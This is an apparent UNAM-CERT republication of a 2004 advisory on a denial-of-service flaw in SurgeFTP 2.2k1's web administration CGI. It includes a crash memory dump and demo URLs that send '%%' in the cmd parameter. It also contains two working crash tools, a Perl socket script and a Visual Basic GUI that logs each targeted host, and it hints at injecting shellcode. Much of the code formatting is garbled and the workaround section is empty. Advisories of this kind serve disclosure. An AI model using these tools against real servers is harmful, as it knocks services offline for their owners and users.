

Medium (Even non authenticated users can perform this attack to exploit the service)

Fecha de Liberación: 04 de Febrero de 2004

Ultima Revisión: 25 de Junio de 2004

Fuente:

Sistemas

Afectados

- *SurgeFTP 2.2k1*

Descripción

A vulnerability has been identified when a malicious user passes the value "%%" inside the parametre "CMD" of surgeftpmgr.cgi. By performing this attack twice (first time the server will restart after it crashes) both Ftp server and remote administration console will crash.

Memory dump:

28 00:29:23.12:debug:752: Connection on 1n74n3-r34ct:7021

28 00:29:23.15:Info:752: dmalloc Free guard_check failed [403] \src\surgeftp\src\server\webio.c:780
011E4F90

28 00:29:23.15:Info:752: dmalloc: d_guard_test failed file (\src\surgeftp\src\server\webio.c:793)

28 00:29:23.15:Info:752: dmalloc: Unfreed memory (396 total items) 28 00:29:23.15:Info:752: dmalloc: 1
pieces 1392 bytes surgeftp\src\server\webio.c:39

28 00:29:23.15:Info:752: dmalloc: 1 pieces 13344 bytes surgeftp\src\server\link.c:58

28 00:29:23.15:Info:752: dmalloc: 1 pieces 1000 bytes surgeftp\src\server\webio.c:58

28 00:29:23.15:Info:752: dmalloc: 4 pieces 16 bytes surgeftp\src\oldsam\thread.c:99

28 00:29:23.15:Info:752: dmalloc: 1 pieces 1000 bytes surgeftp\src\server\user.c:136

28 00:29:23.15:Info:752: dmalloc: 1 pieces 1224 bytes surgeftp\src\oldsam\vini.c:141

28 00:29:23.15:Info:752: dmalloc: 1 pieces 292 bytes surgeftp\src\oldsam\vini.c:142

28 00:29:23.15:Info:752: dmalloc: 1 pieces 41 bytes surgeftp\src\server\mex_auths.c:146

28 00:29:23.15:Info:752: dmalloc: 1 pieces 1 bytes surgeftp\src\server\mex_auths.c:147

28 00:29:23.15:Info:752: dmalloc: 43 pieces 688 bytes surgeftp\src\oldsam\thread.c:186

UNAM-CERT vulnerabilidad-2004-008

28 00:29:23.15:Info:752: dmalloc: 2 pieces 2448 bytes surgeftp\src\oldsam\ vini.c:191
28 00:29:23.15:Info:752: dmalloc: 2 pieces 584 bytes surgeftp\src\oldsam\ vini.c:193
28 00:29:23.15:Info:752: dmalloc: 1 pieces 1 bytes surgeftp\src\server\user.c:198
28 00:29:23.15:Info:752: dmalloc: 1 pieces 41 bytes surgeftp\src\server\user.c:212
28 00:29:23.15:Info:752: dmalloc: 1 pieces 1000 bytes surgeftp\src\common\mutex.c:260
28 00:29:23.15:Info:752: dmalloc: 10 pieces 120 bytes surgeftp\src\server\webio.c:273
28 00:29:23.15:Info:752: dmalloc: 1 pieces 20 bytes surgeftp\src\server\webadmin.c:274
28 00:29:23.15:Info:752: dmalloc: 10 pieces 146 bytes surgeftp\src\server\webio.c:276
28 00:29:23.15:Info:752: dmalloc: 73 pieces 1124 bytes surgeftp\src\oldsam\ vini.c:396
28 00:29:23.15:Info:752: dmalloc: 26 pieces 160 bytes surgeftp\src\oldsam\ vini.c:418
28 00:29:23.15:Info:752: dmalloc: 73 pieces 142 bytes surgeftp\src\oldsam\ vini.c:437
28 00:29:23.15:Info:752: dmalloc: 73 pieces 3055 bytes surgeftp\src\oldsam\ vini.c:438
28 00:29:23.15:Info:752: dmalloc: 23 pieces 3496 bytes surgeftp\src\oldsam\ vini.c:481
28 00:29:23.15:Info:752: dmalloc: 1 pieces 28 bytes surgeftp\src\server\webio.c:535
28 00:29:23.15:Info:752: dmalloc: 1 pieces 21 bytes surgeftp\src\server\webio.c:777
28 00:29:23.15:Info:752: dmalloc: 1 pieces 1012 bytes surgeftp\src\server\webio.c:780
28 00:29:23.15:Info:752: dmalloc: 18 pieces 165 bytes surgeftp\src\oldsam\ vini.c:810
28 00:29:23.15:Info:752: dmalloc: 1 pieces 33 bytes surgeftp\src\oldsam\ld_sha.c:826
28 00:29:23.15:Info:752: dmalloc: 17 pieces 85 bytes surgeftp\src\oldsam\ vini.c:884
28 00:29:23.15:Info:752: dmalloc: 1 pieces 12 bytes surgeftp\src\server\dftp.c:1690
28 00:29:23.15:Info:752: dmalloc: 1 pieces 36 bytes surgeftp\src\server\dftp.c:2307
28 00:29:23.15:Info:752: dmalloc: 4 pieces 144 bytes surgeftp\src\server\dftp.c:2349
28 00:29:23.15:Info:752: END OF MEMORY DUMP

28 00:29:23.15:Info:752: dmalloc: 396 memory locations not freed
28 00:29:23.15:Info:752: dmalloc: corrupt guard data \src\surgeftp\src\server\webio.c:780 len=1012 g=100

UNAM-CERT vulnerabilidad-2004-008

28 00:29:23.15:Info:752: dmalloc: Dump 93 01 00 00 0d 0e 0f 10 | 63 6d 64 00 20 cd cd cdcmd. ...

28 00:29:23.15:Info:752: dmalloc: Dump cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd
.....

28 00:29:23.15:Info:752: dmalloc: Dump cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd
.....

.
. .
. .
. .

28 00:29:23.15:Info:752: dmalloc: Dump cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd
.....

28 00:29:23.15:Info:752: dmalloc: Dump cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd
.....

28 00:29:23.15:Info:752: dmalloc: Dump cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd
.....

28 00:29:23.15:Info:752: DMALLOC DIEING HERE

28 00:29:23.15:Info:752: SurgeFTP process going down, signal: 11 - SIGSEGV(11) - Segment violation -
invalid memory reference

28 00:29:23.15:Err!:752: Restart - SIGSEGV(11) - Segment violation - invalid memory reference

demo: http://[server]:7021/cgi/surgeftpmgr.cgi?cmd=% or http://[server]/cgi/?r34ct=%die%

I don't know whether this bug is exploitable, let me know if you find a way to exploit it.

For example: http://[server]:7021/cgi/surgeftpmgr.cgi?cmd=%[x x x x ... shellcode ... x x x]%

-----\$r34ct-rainbow.pl-----

```
#!/usr/bin/perl
```

```
use IO::Socket;
```

```
printf "SurgeFtp 2.2k1\n\n";
```

```
if(@ARGV < 2) { die "\nUsage: host port \n"; }
```

```
$port = @ARGV[1];
```

```
$host = @ARGV[0];
```

```
$sock =new IO::Socket::INET(PeerAddr => $host,PeerPort => $port,Proto => "TCP");
```

```
print $sock "GET /cgi/surgeftpmgr.cgi?cmd=% http/1.0\n\n";
```

```
while (){print}

close ($sock);

print("\n\n");

exit;

---end-----

----- $r34ct-rainbow.exe -----

Private Sub closin_Click()

Dim E(1) As Integer

On Error Resume Next

If (Dir("c:\surge22k1.dat")) = "surge22k1.dat" Then

Form1.Width = 4200

loadin.Visible = False

closin.Visible = False

load.Visible = True

Else

E(1) = MsgBox("Cannot locate file surge22k1.dat! Press ok to create it!", vbCritical, "Error")

If E(1) = 0 Then

Exit Sub

Else

Open "c:\surge22k1.dat" For Append As 1

Print #1, "The following hosts were used by SurgeFTP 2.2k1 exploit:"

Close 1

End If

Exit Sub

End If

End Sub
```

```
Private Sub exit_Click()
On Error Resume Next
If Err.Number = 0 Then
For g = (Forms.Count - 1) To 0 Step -1
Unload Forms(g)
Next g
Else
End
End If
End Sub

Private Sub Load_Click()
Dim E(1) As Integer
On Error Resume Next
If (Dir("c:\surge22k1.dat")) = "surge22k1.dat" Then
loadin.Visible = True
Form1.Width = 6770
loadin.LoadFile ("c:\surge22k1.dat")
load.Visible = False
closin.Visible = True
Else
E(1) = MsgBox("Cannot locate file surge22k1.dat! Press ok to create it!", vbCritical, "Error")
If E(1) = 0 Then
Exit Sub
Else
Open "c:\surge22k1.dat" For Append As 1
Print #1, "The following hosts were used by SurgeFTP 2.2k1 exploit:"
```

```
Close 1

End If

Exit Sub

End If

End Sub

Private Sub crash_Click()

Dim k(2) As String

On Error Resume Next

Dim C(3) As Integer

If host.Text = "" Or host.Text = Null Then

MsgBox "Target Cannot be empty", vbInformation, "TargetEmpty"

host.Text = "" 'hehehe

Exit Sub

Else

C(1) = 1

End If

If port.Text = "" Then

MsgBox "Port Cannot be empty", vbInformation, "PortEmpty"

Exit Sub

Else

End If

If IsNumeric(port.Text) Then

C(2) = 1

If port.Text < 1 Or port.Text > 65535 Then

MsgBox "Are ya sure that the port is ok?", vbInformation, "PortError"

port.Text = ""
```

```
Exit Sub
```

```
Else
```

```
C(3) = 1
```

```
End If
```

```
Else
```

```
MsgBox "Port should contain only numbers:P", vbInformation, "err"
```

```
port.Text = ""
```

```
Exit Sub
```

```
End If
```

```
If (C(1) = 1) And (C(2) = 1) And (C(3) = 1) Then 'mpiah to be sure
```

```
k(1) = host.Text
```

```
C(2) = port.Text
```

```
x = "http://" &k(1) &":" &C(2) &"/cgi/surgeftpmgr.cgi?cmd=%%"
```

```
die.Navigate2 x
```

```
If (Dir("c:\surge22k1.dat")) = "surge22k1.dat" Then
```

```
Open "c:\surge22k1.dat" For Append As 1
```

```
Print #1, host.Text
```

```
Close 1
```

```
Else
```

```
Exit Sub
```

```
End If
```

```
MsgBox "If you are lucky surgeFtp 2.2k1 Crashed! Try a second time to be sure!", vbInformation,  
"Crashed:>"
```

```
End If
```

```
End Sub
```

```
Private Sub Form_Activate()
```

```
On Error Resume Next

host.SetFocus

If (Dir("c:\surge22k1.dat")) = "surge22k1.dat" Then

Exit Sub

Else

Open "c:\surge22k1.dat" For Append As 1

Print #1, "The following hosts were used by SurgeFTP 2.2k1 exploit:"

Close 1

End If

End Sub

Private Sub Form_Load()

On Error Resume Next

Left = (Screen.Width - Width) / 2

Top = (Screen.Height - Height) / 2

End Sub

Private Sub Timer1_Timer()

On Error Resume Next

length = Len(host.Text)

length2 = Len(port.Text)

If length2 > 6 Then

MsgBox "Overflow Detected", vbInformation, "Overflow_Detected"

port.Text = "" 'cleaning

Exit Sub

End If

If (length > 40) Or length2 >= 6 Then

If length > 40 Then
```

```
MsgBox "Overflow Detected", vbInformation, "Overflow_Detected"
```

```
host.Text = "" 'cleaning
```

```
Exit Sub
```

```
If length2 > 6 Then
```

```
MsgBox "Overflow Detected", vbInformation, "Overflow_Detected"
```

```
port.Text = "" 'cleaning
```

```
Exit Sub
```

```
End If
```

```
End If
```

```
End If
```

```
End Sub
```

```
----- end -----
```

Workaround

Apendices

Vulnerability found by: Dr_insane (dr_insane@pathfinder.gr)

Advisory by Dr_insane

Exploit by: Dr_insane

Homepage: <http://members.lycos.co.uk/r34ct/>

Mailing List: <http://members.lycos.co.uk/r34ct/list/>

http://members.lycos.co.uk/r34ct/main/surge_FTP/surge-ftp.txt

UNAM-CERT

Equipo de Respuesta a Incidentes UNAM

Departamento de Seguridad en Computo

E-Mail : seguridad@seguridad.unam.mx

http://www.unam-cert.unam.mx

http://www.seguridad.unam.mx

ftp://ftp.seguridad.unam.mx

Tel : 56 22 81 69

Fax : 56 22 80 43